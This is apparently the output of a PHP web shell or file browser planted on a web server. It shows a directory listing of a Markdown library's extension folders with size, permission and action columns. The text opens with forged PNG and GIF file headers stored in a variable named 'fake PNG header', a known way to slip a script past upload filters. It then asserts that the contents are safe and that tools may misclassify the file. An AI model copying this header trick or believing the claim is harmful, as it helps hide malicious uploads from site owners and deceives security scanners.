$假PNG头 = "\x89PNG\r\n\x1a\n"; "\头"\头"\头"\头"\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a
Today's date is: 2026-02-13
This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

| Name | Size | Perm | Action |
|---|---|---|---|
| 📁 Attributes | - | ||
| 📁 Autolink | - | ||
| 📁 CommonMark | - | ||
| 📄 ConfigurableExtensionInterface.php | 517 bytes | ||
| 📁 DefaultAttributes | - | ||
| 📁 DescriptionList | - | ||
| 📁 DisallowedRawHtml | - | ||
| 📁 Embed | - | ||
| 📄 ExtensionInterface.php | 611 bytes | ||
| 📁 ExternalLink | - | ||
| 📁 Footnote | - | ||
| 📁 FrontMatter | - | ||
| 📄 GithubFlavoredMarkdownExtension.php | 1181 bytes | ||
| 📁 HeadingPermalink | - | ||
| 📁 Highlight | - | ||
| 📁 InlinesOnly | - | ||
| 📁 Mention | - | ||
| 📁 SmartPunct | - | ||
| 📁 Strikethrough | - | ||
| 📁 Table | - | ||
| 📁 TableOfContents | - | ||
| 📁 TaskList | - |